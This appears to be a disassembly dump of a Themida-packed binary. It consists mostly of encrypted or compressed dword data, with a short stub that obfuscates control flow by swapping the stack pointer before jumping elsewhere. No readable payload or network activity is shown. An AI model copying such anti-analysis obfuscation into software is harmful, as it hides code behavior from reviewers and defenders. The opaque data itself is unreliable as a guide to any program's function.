		dd 987A82B1h, 5D70E78Fh, 5165BC34h, 98CDAC16h, 5D74018Fh
		dd 51658F34h, 0BE363516h, 364735BFh, 16CB427Ah,	0BE4E0676h
		dd 9830D26Ch, 5B2A18AFh, 0FCB5BB34h, 0FFFFFF95h, 0D24ECEDFh
		dd 0FD4AA86Ch, 51A2458Ah, 7C0D5F2h, 96A40B55h, 152AA8EDh
		dd 2429458Ah, 1957DFA0h, 5E917926h, 152A1E2Ch, 5E89798Ah
		dd 152A162Ch, 5ECA798Ah, 152A492Ch, 5E13798Ah, 152A382Ch
		dd 5EF2798Ah, 152A5C2Ah, 5EFA798Ah, 152A6B2Ah, 51D6AC8Ah
		dd 60D554A8h, 59D7BA86h, 0CF6DCE25h, 0DCF143C4h, 5BF14A32h
		dd 0D871BA8Ch, 42C3A8EDh, 0AEA2458Ah, 60D558DDh, 638C882h
		dd 462C1A72h, 8ABCDF07h, 0C6D552E6h, 0B85E0003h, 0E9835492h
		dd 8BA4F305h, 0BA31E4CBh, 565DB1DAh, 0BC2FEB32h, 5019E5DEh
		dd 54113C52h, 0DDD3FF7Bh, 5163B977h, 0DF79F4B9h, 1331B575h
		dd 5A1A3822h, 0DFBAF4B9h, 9F36A175h, 36ABA1F0h,	592C34F4h
		dd 5E9837Ah, 0F1B0A4F3h, 7AF29D11h, 0FB2375FDh,	340BD717h
		dd 3FD525FBh, 0F7ADFDF5h, 22913B4Bh, 7ACFB734h,	29B723ACh
		dd 7A1A20ADh, 277975FDh, 0CD7F987Ch, 0FFA073B3h, 7C61C3E9h
		dd 0E983C87Dh, 8BA4F305h, 88BD8DDBh, 8D064EF3h,	4F0E6F8Dh
		dd 6644B806h, 0CF2B3215h, 3102E9C1h, 83C8D007h,	0F4904C7h
		dd 0FFFFF285h, 83C08BFFh, 481299BDh, 9750006h, 0D35BD83h
		dd 74000648h, 8B535019h, 411B8C0h, 85890000h, 6482FF9h
		dd 0A4CB9D8Dh, 0D3FF064Ah, 0BD83585Bh, 6480D35h, 50177400h
		dd 411B853h, 85890000h,	6482FF9h, 0A16C9D8Dh, 0D3FF064Ah
		dd 0C08B585Bh, 72A4F2BBh, 5E846h, 35F20000h, 81E96FA0h
		dd 0E1B85BD3h, 56B35F4Ah, 60A3C781h, 0B9600000h, 14E65762h
		dd 12DF57BFh, 0B8613Fh,	53000000h, 0CE9h, 92857700h, 8A0F4EFDh
		dd 4C979402h, 348B5A36h, 9E907h, 0C0FD0000h, 2B4D6D13h
		dd 814DA721h, 5D7D2AC6h, 8E96Ch, 75CA0000h, 0BAC55451h
		dd 0EE81D47Dh, 5CC66314h, 0C6816BB1h, 860986Dh,	28D0Fh
		dd 0DF8B0000h, 0E9073489h, 14h,	5CC9EF29h, 94A8F99Eh, 3B98FC25h
		dd 53A66BA5h, 9A70F510h, 4CE4C281h, 0E88360BDh,	0F7816001h
		dd 6A0B47ADh, 0CE860h, 0FBE40000h, 53B45A6Fh, 2417C33Eh
		dd 605E0081h, 48616161h, 0D9814848h, 5E47715h, 0A028F881h
		dd 850FFFFFh, 0FFFFFF6Eh, 0CC54CCBAh, 0FE04EB23h, 0E97DEC36h
		dd 494h, 0BCDCD352h, 254742E0h,	0A9CBD669h, 1C7C75FDh
		dd 87E5E480h, 832F177Ch, 10B6E28Eh, 0BE3B5735h,	26CDD9BBh
		dd 0FB924123h, 7342E5A3h, 0BA6DF37Ch, 120FFE85h, 7FB12616h
		dd 0B7C5B233h, 849D250Bh, 8A296507h, 1A2FE8Fh, 7BF99302h
		dd 0F060017Eh, 66077473h, 53D1A3D0h, 58125956h,	0BFBA39E3h
		dd 512DC4DDh, 76244B17h, 0A474DAA5h, 2E7A0619h,	84C49A83h
		dd 0B076244Ah, 2641332Eh, 26B8C8B9h, 0B63E4A3Bh, 880908A8h
		dd 0F0AA9FBh, 0AE1DD17Eh, 9F4C0E69h, 0CBA9A855h, 205154DFh
		dd 244AD392h, 60197C76h, 63C534AFh, 4CF7652Ch, 0D37B3849h
		dd 19022299h, 0C3DDE165h, 70h, 0FBFE8558h, 327A3C8Ah, 19D57624h
		dd 8AE47BA2h, 762432CEh, 99359D1Ah, 0DDE10E62h,	44045AF1h
		dd 9076243Fh, 19FBF17h,	4000000h, 6BFAFF85h, 32BEFAD4h
		dd 6D0A7624h, 58DAB6C5h, 0D45C2C5Dh, 0E85ACDDh,	5DF5F072h
		dd 0CE74BC63h, 83F8A9CBh, 0DAB44A22h, 7624809Eh, 32384D2Ah
		dd 6BB546E4h, 810B8C3h,	9899198Bh, 74248AEBh, 0BA8C8CFh
		dd 8BF8F985h, 17E7BF9h,	90580779h, 1B771514h, 9CEC9D98h
		dd 0F2891C0Bh, 2432DC9Ch, 278FE876h, 7C7BF888h,	0FEEB7D0Fh
		dd 0BF0AA81h, 0FEAD19F2h, 0E1103DD6h, 58E7DDh, 853C0000h
		dd 0D66DF8F9h, 2432C0F8h, 0F4700C76h, 66E784F5h, 4ED1A3D0h
		dd 8A28C453h, 0C4B1FE8Fh, 9240E134h, 0FFFC5284h, 935906F4h
		dd 1A761217h, 9EEA9B9Eh, 616A1B16h, 0F51E36F5h,	2FDDE103h
		dd 3Dh,	0F8F98574h, 504DD36Dh, 2AFFDFAh, 1DD17E0Fh, 0FBFE7AAEh
		dd 0B80FA99h, 0E45A8E1Eh, 0C24EE4AFh, 86542520h, 76251ABFh
		dd 0C96B0590h, 58FEBFCCh, 948FB966h, 4EDDE1E6h,	1, 0F1E285D5h
		dd 2432DB9Dh, 18EE976h,	84832070h, 0A73950F7h, 0C3740500h
		dd 44BB0D7Dh, 0AF0784B4h, 59A4E3Dh, 29127A06h, 0EF9AF463h
		dd 0FB7C6D2Ah, 24B8CFBCh, 0F9346C9Fh, 73DD7140h, 37BC5CF2h
		dd 0BF445030h, 3B7BCBB8h, 9E7C6CEDh, 3EC56FDCh,	0A64D593Bh
		dd 3DC6D2A3h, 0A43B4926h, 3DB8C8B9h, 7B354D3Ah,	0E5D74F84h
		dd 7271F226h, 0B49D8616h, 2E47DBA9h, 0DC000001h, 4F5AEC80h
		dd 5D9713Eh, 0A905903Ah, 7C6C416Ch, 8C9B2C78h, 81227E0Fh
		dd 0FD791382h, 5B4A56FCh, 17512DC4h, 0A57C6C41h, 40CC8CDAh
		dd 6B187C6Ch, 0BA9BB75Dh, 258D0A7Ah, 46D8CE75h,	0CC4D2A5Bh
		dd 4346EDBFh, 0AD126C32h
		dd 9BF9FC87h, 0A91308F3h, 47D2DBh, 0B9490000h, 0B24ED97Bh
		dd 27443530h, 40A8068Fh, 0AC762433h, 0E1BD54C3h, 762432A7h
		dd 0DFDA5935h, 0EA40C1AEh, 333B7DCDh, 6A407624h, 0AF6553B5h
		dd 33726638h, 0B1FE7624h, 532BC2D3h, 76243315h,	406EC4A3h
		dd 91h,	0DC7EB9C7h, 4EBC7549h, 6F087C6Ch, 0E2E1821Eh, 6A690A86h
		dd 46118A1Dh, 0F6A7727Dh, 80C39139h, 0BB7C6CD4h, 0EE8BB7ECh
		dd 46AC4A9h, 0A54F3CAEh, 11791B1Eh, 5AF16426h, 1BD7BB21h
		dd 6CF30543h, 0A3D4D37Ch, 0B71F08CDh, 0BBD22919h, 0B3494282h
		dd 0F434C1BDh, 15921EB4h, 686F1464h, 0ECED891Bh, 6F7A0D9Fh
		dd 4936881Eh, 22BED5B0h, 0B0F18E9Dh, 0DFBA01Ah,	66FD6832h
		dd 0D2DD34CAh, 7C09E6C8h, 0E6F45ADBh, 7C7A5F6Ch, 700C9BE4h
		dd 435FF7F2h, 0DC7EB9A0h, 43FD7549h, 2C4B7C73h,	0A3A64D5Fh
		dd 2B2ED5C1h, 77BFC7BCh, 0EBEFD9F5h, 8FFCFD79h,	9B2B48EEh
		dd 0F816FE17h, 27CDB268h, 0AFFB999Ch, 20700104h, 55F08180h
		dd 65F726E5h, 0A672D8D9h, 6A6F151Dh, 90138FEDh,	0C36E0295h
		dd 3E4966CCh, 70011CA2h, 31D9B33h, 7A000000h, 0FC85DA41h
		dd 7F0494E5h, 0FC790B78h, 6AFC8CFDh, 0F6720E7Fh, 4AF682F3h
		dd 0CA6A0677h, 55EA86F7h, 0C96B3976h, 52B9BFCCh, 0C281E289h
		dd 4, 4EA81h, 14870000h, 2C895C24h, 661E6824h, 34890000h
		dd 4EC8324h, 55242C89h,	652191BDh, 3268BE28h, 0C6812EB4h
		dd 5DEC784Ch, 0EE81EE29h, 5DEC784Ch, 27EC685Dh,	24890000h
		dd 24048324h, 8F685D04h, 89000048h, 458F2434h, 242C8B08h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		mov	esi, [esp]
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		add	ecx, 4
		xchg	ecx, [esp]
		pop	esp
		jmp	loc_541331
; ---------------------------------------------------------------------------
		dd 0A0D524ABh, 640012CFh, 4F14E2B8h, 0FFC50306h, 6C714AE0h
		dd 0B08B5C53h, 0E41CD136h, 0A5030F15h, 58F1F752h, 2904BA69h
		dd 29B09733h, 0B77CE22Ah, 0CE57C86Dh, 3B12834Eh, 0CE42A005h
		dd 0D0B4AD19h, 90C5E57Ah, 667DB540h, 0EDF3CB48h, 4F51EB68h
		dd 6478622Eh, 549A851Ah, 0AA77DF4Fh, 9504EB3Ch,	0E93DA366h
		dd 5AEh, 0C8A8A74Eh, 315356DCh,	0A5C7C265h, 284849E9h
		dd 93F1F07Ch, 9F1B2370h, 1CA2FE9Ah, 8A376301h, 3AB9D5B7h
		dd 0EF865D3Fh, 7347D99Fh, 0C641E77Ch, 8AFBFE85h, 0C7C261FBh
		dd 207A36Fh, 7F7AF993h,	54DFCBD7h, 0BE552051h, 2432A8E0h
		dd 0E34B3476h, 0F8898C37h, 949113ADh, 750A86E7h, 32981996h
		dd 0A8D9DC66h, 0CB12C981h, 331E5A34h, 0CDAA7624h, 0AEDFD25Fh
		dd 0AA969C1h, 0B4316D0Fh, 3EBBD7B5h, 0A83E4A3Bh, 3295D3ABh
		dd 44237624h, 34BC50C7h, 3315532Bh, 0C4A37624h,	60BD3647h
		dd 0B064945Eh, 204FE764h, 0A4D5D450h, 6E4029D4h, 76251A2Ah
		dd 3B48C9B6h, 9D520963h, 598378FAh, 2124CEDCh, 3FD1C0A0h
		dd 0AFCCBDA8h, 0EDE88B07h, 1C72099Ch, 7625195Ch, 29A70F68h
		dd 7625196Ch, 82EF0698h, 0A6D0B683h, 96E29310h,	4E6512F1h
		dd 1162F9Ch, 0E9AFFF96h, 0F0762523h, 61334A05h,	9611635Fh
		dd 0F7D18EC0h, 0DDE1360Ch, 60610D9Fh, 103C9213h, 41h, 0FBFE858Bh
		dd 327A3C8Ah, 19D57624h, 5EE17BA2h, 0DD753243h,	0E10E5AC1h
		dd 180DDh, 851B0000h, 0FF8DFAFFh, 71037075h, 0A883F0F1h
		dd 5DE70DF2h, 0D2693858h, 2432BCFCh, 0C76F0876h, 0CFADA84Bh
		dd 0EEF98524h, 2432D890h, 1A9BE476h, 83951F6Dh,	1794E5E0h
		dd 0C56DFF96h, 314966CCh, 0DC58807Fh, 40E3BFDDh, 333D7B53h
		dd 0EC8B7624h, 0FD821E6Fh, 0C27C91EEh, 10E02B1Dh, 0A33ADDE1h
		dd 61000000h, 0D395E980h, 0E1762432h, 0C4603086h, 0A9408B31h
		dd 5CDDA30Bh, 0DFCA5D2Fh, 5550D2AEh, 0BAA85424h, 0CABB383Fh
		dd 0A73F32BEh, 1AD116D5h, 0B531FBA0h, 3CB8D4B4h, 61F1AA3Dh
		dd 34FD978Ah, 384867CFh, 752EB9B8h, 86D84CFEh, 76247DC2h
		dd 0C214610Eh, 107102CFh, 5B2124D2h, 636C0BA3h,	0F71C08F7h
		dd 64DDE12Dh, 6F3F28C8h, 76246A29h, 3A4BC8B7h, 4709D57Dh
		dd 92000000h, 0D395E980h, 0E1762432h, 0C4603086h, 0A8E1B4C5h
		dd 0FE1538DFh, 0A868CEA5h, 0DC7D0A0Dh, 0FB87AD12h, 34690012h
		dd 94158BD3h, 0FF856FF4h, 66FA8DFAh, 6F6DC5C0h,	76243326h
		dd 0DEF6B529h, 0DDE10E25h, 1FFh, 0E2852400h, 79FA96E7h
		dd 7A54EB7Ah, 7624333Eh, 3645ED8Ah, 0B47C23AFh,	4543413h
		dd 7137873Bh, 9F762432h, 6F1D08h, 849F1483h, 0A8AD5730h
		dd 0A64F26DFh, 80298510h, 897C6C8Fh, 51532310h,	268C133Ch
		dd 99CED8Ah, 5EF4D177h,	0A33231B2h, 0C66C6D09h,	4E45EEBAh
		dd 0B7E5A131h, 6EE07C6Ch, 39C86BB1h, 5A377E01h,	6AC09E76h
		dd 0F24AF2F4h, 0F894F475h, 54146A7Bh, 607C6C7Fh, 9BE98607h
		dd 166C1D18h, 4338E7A4h, 0D18C6768h, 0A9661396h, 0A2C3CF97h
		dd 46EDAD05h, 0A7D4D350h, 58461C32h, 0DB582988h, 659E3E5Ah
		dd 0BFDBA960h, 164h, 0FAF97A16h, 7EB93354h, 0F9B249DCh
		dd 0E4CB9FADh, 7693E496h, 62D682C5h, 0D3124016h, 0E77C6C75h
		dd 1A99EB98h, 82217D1Fh, 1F9B1087h, 78315580h, 750205A0h
		dd 901FB734h, 87D76E05h, 7C6C52C1h, 7632600Fh, 0A27C6C52h
		dd 32730007h, 1913946h,	70166762h, 5FAE4BE5h, 0F7B7AD81h
		dd 0E248C9A2h, 4AE933E8h, 968D2D4Fh, 5DBA9FBh, 8EE0CB6Bh
		dd 7C6D2BCAh, 42E86916h, 5C9Ah,	7BB90100h, 80554ED9h, 0D1CC53EAh
		dd 0B15C8A4h, 9B186974h, 8DE1B41Ah, 7624B51Bh, 6B30F7ACh
		dd 1AA0DE44h, 20249110h, 8B23A0BCh, 63F380EFh, 76250F25h
		dd 6D9B407Ah, 4C22B54Fh, 76250F5Ch, 7C6BFC88h, 76E16E0Fh
		dd 0EC98FDFh, 4AF77625h, 0B790677h, 0CBAC66Ch, 8Ch, 0DC7EB98Bh
		dd 881EB249h, 0F4B40A9Dh, 0C0762432h, 90410FA7h, 0B97C6C4Eh
		dd 4E0C4C22h, 0DFD87C6Ch, 4F3C7B77h, 0D1B3B63Dh, 512D3EC5h
		dd 7C6C4E17h, 2C5DDAA5h, 6C4ED59Eh, 5970E7Ch, 98D27879h
		dd 8B7AF923h, 0DE6AAB4Eh, 361EE9Dh, 5BCA90ABh, 0BC430303h
		dd 941CB082h, 0F4B40A9Dh, 0C0762C21h, 4630FA7h,	9B9E2577h
		dd 98346BEAh, 61600C1Ah, 0BC1293E0h, 90AB5D02h,	3035BCAh
		dd 557C7B38h, 89C6BB2Ah, 2692AF6Ah, 47ECFC52h, 49DC7EB9h
		dd 7348F175h, 4B38477Ch, 1724473Ch, 7C8A5D50h, 0DC72F3F6h
		dd 3A3B73Ch, 0E091901Dh, 0E7850283h, 7C0D08ABh,	5FBCB1EEh
		dd 5D5CD9B8h, 0DDD45C2Ch, 0F2A929ACh, 0A315532Bh, 0C4A3B3C7h
		dd 61DE8C47h, 5F3D38BBh, 0D4A5A043h, 74852FC1h,	0FC968ABh
		dd 2350D196h, 842CEC42h, 911E159Eh, 752E65E0h, 2AA1A393h
		dd 5A14BA63h, 0B1B43FE5h, 0CD3CC7D3h, 7F540BFh,	0CD58D985h
		dd 19B1AC33h, 0DEC9Ah, 806B0000h, 32D395E9h, 86E17624h
		dd 85FFA430h, 494E5FCh,	790B787Fh, 0FC8CFDFCh, 720E7F6Ah
		dd 0F682F3F6h, 6A06774Ah, 0EA86F7CAh, 6B397655h, 0B9BFCCC9h
		dd 5404EC83h, 8124048Fh, 42404h, 89520000h, 4C281E2h, 81000000h
		dd 4EAh, 24148700h, 2434895Ch, 81E68956h, 4C6h,	4EE8100h
		dd 87000000h, 895C2434h, 5653243Ch, 713558BEh, 5EF38939h
		dd 4E1FF381h, 0E3C12DC6h, 17EB8103h, 814F7E05h,	0EEBF56EBh
		dd 5BDE894Fh, 4EC81h, 24890000h, 24048124h, 4, 789E685Fh
		dd 34890000h, 8478F24h,	5F2434FFh, 4C481h, 34FF0000h, 0C4815E24h
		dd 4, 0F962FCE9h, 0E7B838FFh, 3064F1Ah,	0D5E0FFC5h, 0F836EAA8h
		dd 6165EE60h, 1F048B40h, 811B7DA3h, 697243B7h, 4100DF75h
		dd 0EB646695h, 8, 24969500h, 47DE900h, 0AF680000h, 0E9064F1Ch
		dd 0FFF962BDh, 4F1D3468h, 62B3E906h, 0B668FFF9h, 0E9064F1Eh
		dd 0FFF962A9h, 0C8A8A74Eh, 315356DCh, 0A5C7C265h, 284849E9h
		dd 93F1F07Ch, 9F1B2370h, 1CA2FE9Ah, 8A376301h, 3AB9D5B7h
		dd 0EF865D3Fh, 734DD99Fh, 0C641E77Ch, 8BF8F985h, 0E87F7AF9h
		dd 7ED4B354h, 78310A62h, 0EC8DFAFDh, 9BA6F86Fh,	577C6C3Bh
		dd 0C98B5B28h, 807C6C3Ah, 2AC669D6h, 8F1FB78Ah,	0DBA90694h
		dd 30F4Eh, 76D9D500h, 30A7655Eh, 3283C599h, 56517624h
		dd 0F4B91580h, 307C6C42h, 0F23B9577h, 0EA79D1A7h, 59C0BD1h
		dd 5FE5CB6Bh, 0CFACDD5Ah, 0AB006967h, 36C7799h,	0F7892372h
		dd 0B61C9DEAh, 842CDDE6h, 2990C8Dh, 0D561366Bh,	42668297h
		dd 89635414h, 0BD116073h, 738963FBh, 8921AEC9h,	0D19C43CBh
		dd 848B0079h, 7DDCB03Bh, 4D2A46ECh, 0A6BD46DAh,	2E25CEDAh
		dd 7420629Fh, 3BAB6417h, 2E1h, 0D4B48B2Ah, 5D3F3AB8h, 0C1A3BE41h
		dd 34542DD5h, 0BFDDDC58h, 7B073F94h, 0F88E1A66h, 96138FEDh
		dd 1EA5F193h, 0D3EA791Bh, 734EBDFBh, 0D2B50B7Ch, 25CF7EB9h
		dd 0D5525320h, 4EC86C42h, 851C7C73h, 734D6F29h,	0B5327D7Ch
		dd 1BE28E22h, 5CC1BCB3h, 8DEF6CFCh, 0FDFC7814h,	2678EF8Ch
		dd 7C73CD62h, 0E9A9016Eh, 0AF3F4C4Dh, 7C73CDE4h, 99B447ECh
		dd 4EE4DFDAh, 0CBCE74E4h, 0F124F34Ah, 9D1218F0h, 25CEDh
		dd 3130B100h, 0B8BD4753h, 2C3BCCD8h, 0D1D0504Ch, 465BE7B3h
		dd 80B8193Ah, 0B87E5E4h, 9C086875h, 26721E11h, 69FA869Dh
		dd 50407856h, 3A8C7C73h
		dd 0DC7EB969h, 0BEF9B249h, 0D35CFA30h, 70F1F47Fh, 1258FCDAh
		dd 0C3AC7C74h, 724CE3B2h, 7C741236h, 0DD9BF382h, 0EB7C7411h
		dd 29A70F8Ch, 7C74116Bh, 68B774E6h, 832B2ED4h, 0AECD30EBh
		dd 19AEADBh, 85310000h,	0FB8AFBFEh, 0B2C3DE61h,	36BD5DF5h
		dd 4D6B27C7h, 2CAD071Bh, 38BB554Ch, 0FE39953Dh,	1CD0C95Ch
		dd 0C235880h, 36880DA5h, 7C6CD107h, 0C8CF6A06h,	0A53A5662h
		dd 2BA8C9A6h, 31B14B5Ah, 783C9A30h, 0D37C6CD0h,	3C75B867h
		dd 2EADCD87h, 8418BEF2h, 0DBA9B49Fh, 4945h, 15902C00h
		dd 94046512h, 1D9AEBEEh, 7EB912B5h, 647549DCh, 0B07C6C40h
		dd 58EF86F7h, 6C404206h, 49E18E7Ch, 6C40490Bh, 0FCE97F7Ch
		dd 7C75FD8Fh, 15CA880Fh, 0D88733DCh, 0FBFE7B15h, 2945ED8Ah
		dd 0DBA903F2h, 0B328h, 0FE857300h, 72FE8AFBh, 0A854E87Fh
		dd 4CDBD8A9h, 24333672h, 4DE58276h, 0C1D1522Eh,	28492623h
		dd 25CEDAABh, 0AE94422Eh, 0DA762437h, 5E3E5A59h, 0F4FD5365h
		dd 1189CF3Bh, 91EEE383h, 0AA049310h, 7C6EE2BBh,	3BD5402Fh
		dd 0B16A9BFh, 25B7EE8Ah, 0EBEE8A98h, 369C1D9Ah,	0F1CDDE5Ah
		dd 7C6EE1B7h, 42FD7A05h, 0C568B8Bh, 0DA44F2ADh,	33000000h
		dd 0C1DDBFB2h, 4E5A2623h, 0D2CEAAB9h, 613D5F52h, 9FA4C4C5h
		dd 6F620E36h, 120F910Dh, 989F1A76h, 7ACF8h, 82DCF360h
		dd 7C7350C6h, 85DB4C12h, 0C98F8F9h, 0D1809467h,	898C37B4h
		dd 63039D08h, 1BB8C86Eh, 6CFBFE85h, 0A14753D0h,	29D6D7A4h
		dd 1DA6F281h, 29127A06h, 5A9AF463h, 6E7C6C81h, 0AFFF9601h
		dd 7C6C80E9h, 732288F7h, 3C5C5DD9h, 6C80E2A2h, 966D167Ch
		dd 0C129E0Ah, 90116E61h, 52F46213h, 53000000h, 49DC7EB9h
		dd 734ED375h, 2946217Ch, 0BFDDD85Bh, 344540E3h,	0DF04C8A6h
		dd 1AC1B982h, 0B8452DD6h, 26B8C8B9h, 5F3DBA3Bh,	0BC51A043h
		dd 8EB3F8E4h, 0B5C7B435h, 0C047340Dh, 0FC87AD12h, 51D26EF9h
		dd 0EE442552h, 263DC6D2h, 3D949h, 413E0000h, 0E5FC85DAh
		dd 787F0494h, 0FDFC790Bh, 7F6AFC8Ch, 0F3F6720Eh, 774AF682h
		dd 0F7CA6A06h
dword_5AB468	dd 7655EA86h, 0CCC96B39h, 5456B9BFh, 4C6815Eh, 83000000h
					; DATA XREF: Themida_:00550A21o
		dd 348704EEh, 28685C24h, 89000007h, 5268241Ch, 8900003Eh
		dd 0CB68243Ch, 8B064F1Bh, 0C481241Ch, 4, 8904EC83h, 4812424h
		dd 424h, 0EC835F00h, 241C8904h,	8B08478Fh, 8950243Ch, 405E0h
		dd 4050000h, 87000000h,	8B5C2404h, 8953241Ch, 4C381E3h
		dd 81000000h, 4C3h, 241C8700h, 5E4BE95Ch, 0B824FFF9h, 64F1FB5h
		dd 0E0FFC503h, 511C5DD6h, 6C13AD56h, 30F06C17h,	1EB2FFE1h
		dd 7235B28Eh, 2EFF81A2h, 6B9AAD72h, 55D5FFB0h, 57C9B1F8h
		dd 50993B2h, 4B608A85h,	786847EFh, 2818D375h, 53859CE4h
		dd 3ED15431h, 2180AD81h, 1C66978Bh, 3E5B24DEh, 442F1605h
		dd 0EDE9h, 8C666000h, 0F04A8D8h, 0DF84h, 8DB58B00h, 83064812h
		dd 850F00FEh, 22h, 0FF985C6h, 68450648h, 8E726969h, 0ED5B5FFh
		dd 858D0648h, 64B7F60h,	8589D0FFh, 6481AD9h, 3E80F08Bh
		dd 31850FE9h, 8D000000h, 4D7BA385h, 8BD0FF06h, 48182DBDh
		dd 84C78106h, 8B000011h, 48128DB5h, 0B9F78706h,	8, 0B58BA4F3h
		dd 648128Dh, 0A78D858Dh, 0D0FF064Bh, 2A79B58Bh,	0FE830648h
		dd 22850F00h, 0C6000000h, 480FF985h, 0F4685406h, 0FFFF4EBEh
		dd 480ED5B5h, 60858D06h, 0FF064B7Fh, 798589D0h,	8B06482Ah
		dd 0E93E80F0h, 3A850Fh,	0B58B0000h, 6482A79h, 7BA3858Dh
		dd 0D0FF064Dh, 182DBD8Bh, 0C7810648h, 1184h, 8B08C783h
		dd 482A79B5h, 0B9F78706h, 8, 0B58BA4F3h, 6482A79h, 0A78D858Dh
		dd 0D0FF064Bh, 858DC361h, 64F2084h, 23B98589h, 8D8D0648h
		dd 64F2228h, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h
		dd 17h,	2FC35242h, 89352905h, 4814058Dh, 0EDBD8B06h, 0C706482Fh
		dd 48302585h, 62D406h, 55006A00h, 3E8h,	0C35D2000h, 246C895Dh
		dd 24448104h, 1704h, 0C3554500h, 4F5CA8F1h, 11F1BD8Bh
		dd 85C70648h, 6482AD9h,	0
		dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 1Dh, 6DC35545h
		dd 3C0A1E2Dh, 0DBB90A5Dh, 4DB5FFD1h, 66064818h,	95FFF18Bh
		dd 6480E71h, 29ED950Bh,	6A0648h, 92D95FFh, 0C08B0648h
		dd 8FF00EEBh, 0C617454Dh, 0D99B2993h, 0ED8C8BBFh, 0FE0604EBh
		dd 0DCE903D6h, 6800000Ch, 64F241Ah, 0F95C24E9h,	24FF68FFh
		dd 1AE9064Fh, 68FFF95Ch, 64F2736h, 0F95C10E9h, 284868FFh
		dd 6E9064Fh, 68FFF95Ch,	64F2BABh, 0F95BFCE9h, 2CA468FFh
		dd 0F2E9064Fh, 68FFF95Bh, 64F2DB6h, 0F95BE8E9h,	696809FFh
		dd 10159F0Bh, 84832470h, 908A8E4h, 0BEB33F6Bh, 0D8E0B1D2h
		dd 633F5D5Ch, 0F4A0C0DDh, 7E2A7649h, 0C192FEF5h, 5498D0AEh
		dd 82247C73h, 0FBFE8501h, 7E75FE8Ah, 59E6B2E7h,	51E08F12h
		dd 11ABFAF9h, 98199693h, 0C4DB6632h, 0A4E4BA51h, 307624E9h
		dd 35D0DF77h, 0B1F7C75Eh, 3F7624E9h, 3BE0DA70h,	0DF6472F1h
		dd 4DCAABD8h, 0F2F7732Fh, 0D1592E63h, 6F1D5D9Fh, 0B1EABBC7h
		dd 7A1F39D9h, 46025C34h, 92762496h, 0ACE39415h,	0A48C875h
		dd 0DD663298h, 0A95633D5h, 2C2BC8D8h, 89536C4Ch, 0D39D401Eh
		dd 2E497C6Ch, 0CEC38151h, 0DC8E7C6Ch, 8EC2396Fh, 3318DBA9h
		dd 71000000h, 0CE5A57DFh, 515E2F22h, 7EB9EEF9h,	647549DCh
		dd 0B07C6C40h, 0BAEF86F7h, 0BCF743C1h, 28A60C87h, 7C6C426Ch
		dd 90B46BE7h, 0DBA91E6Bh, 0DBB1h, 0FE85EA00h, 64FB8AFBh
		dd 24334E0Ah, 0B51D9A76h, 0CD5859E5h, 22B5B033h, 24330C4Ch
		dd 77DFD876h, 8C8B2878h, 0E4E18719h, 78790597h,	542453FBh
		dd 0E2855CAFh, 0A3B921B3h, 0AB884622h, 22762516h, 48EEE58Eh
		dd 0B92C2BC8h, 0F1829F27h, 3DD5E97h, 5D6DC573h,	30A7A241h
		dd 8E9149Ch, 0D3FD2CBEh, 70314ECFh, 0C8F3DDDAh,	323B9302h
		dd 0F67C6D20h, 6B09199Ah, 1390E16Eh, 9DA6F692h,	0D82A9C0Bh
		dd 94150AD3h, 644BAD01h, 1E9982B7h, 5B49F587h, 3E5ADBDEh
		dd 7CC3C662h, 129EDA1Ch, 69F5651Ah, 9F00000Ah, 2D791B16h
		dd 0AAE68287h, 3E6A3615h, 0CDD9BBB6h, 23402021h, 0CBCE6A52h
		dd 7E6BFDA9h, 0E4FB8612h, 6C6B0884h, 6E40570Ch,	7C73572Ah
		dd 857710B6h, 0C98F8F9h, 63006067h, 49DC7EB9h, 88961EB2h
		dd 1F9CEDECh, 2A80E19Eh, 6C401DACh, 52772C7Ch, 47C26649h
		dd 630CAC02h, 4CE98312h, 0ADF7E54Dh, 0A47C6C82h, 16AA752Ah
		dd 78FA966Dh, 42B9D57Dh, 98DBA95Eh, 0A5h, 0E8FE8503h, 0AA23BE4Dh
		dd 28789851h, 0BCBD39ABh, 5021AECFh, 815AB45h, 18AE3A7Bh
		dd 49F5A50Dh, 0C8AB3B48h, 0C0762456h, 4D442423h, 9C3237B3h
		dd 37077FCh, 4E5CD874h,	5E2FACA3h, 2520C351h, 4406318Dh
		dd 7770FDD1h, 0CBB47C6Ch, 54F6C1A9h, 5FAEDC1h, 16E82B7h
		dd 7B7EFA96h, 0E0E18D19h, 9E6FF15Dh, 0DA48C712h, 984h
		dd 84E4FB7Ah, 0D6F6A08h, 71130E91h, 0E4849D25h,	6F0D0CA8h
		dd 0AB576F44h, 48DECAD6h, 0C6633F5Dh, 4EF5A1C3h, 23BA294Bh
		dd 73570D4Bh, 8205DB7Ch, 98F8F985h, 60670Ch, 0E8FE8563h
		dd 44045A4Bh, 90762433h, 98E99617h, 0F37F6B08h,	4AE671FEh
		dd 0DFDCADA8h, 0B7FD6B77h, 0E8762432h, 0B8E87CB3h, 42E848D8h
		dd 4A562DD6h, 0AEEAC45Bh, 3A762481h, 0BE45D57Dh, 35BECABBh
		dd 0B733413Eh, 0DB7C5B2h, 96297B08h, 6BDFA8Bh, 0A83EF7B4h
		dd 6018760Dh, 6C762481h, 4A31AB03h, 0F6B20CA3h,	0C2762481h
		dd 0E68D0DA5h, 32E981E3h, 0E8DDE141h, 0B1h, 0CF7EB933h
		dd 0B2B73325h, 0A627A4C5h, 4F125F2Fh, 515E7C6Ch, 4DD29220h
		dd 7C067C6Ch, 0FC780879h, 49098CFDh, 6B05D92h, 0AFFF9659h
		dd 7C6C4DE9h, 99FF88F7h, 4DFDFD6h, 0CE3549E1h, 14DBA981h
		dd 6Dh,	32FE478Fh, 2D167624h, 0DBA6F86Fh, 177C6C45h, 109C0868h
		dd 0E5626102h, 5DFF3894h, 0B78A36CAh, 7D18761Fh, 0AC82B44Eh
		dd 0E5EBCFF7h, 6CC21802h, 18B4234Ch, 79EA9B86h,	9045552Fh
		dd 41D3508Bh, 0A8C9A6A3h, 8F2A6602h, 0AA95FB88h, 381975E0h
		dd 517C6C67h, 56A4E4BAh, 81377C6Ch, 9330B79Ch, 0FA7C0B0h
		dd 0CA640463h, 57Ch, 680B8049h,	0EB1D8C67h, 0B13E31BCh
		dd 0D07A4519h, 0C046945h, 7607C6Dh, 0B89CD876h,	2DC87C6Ch
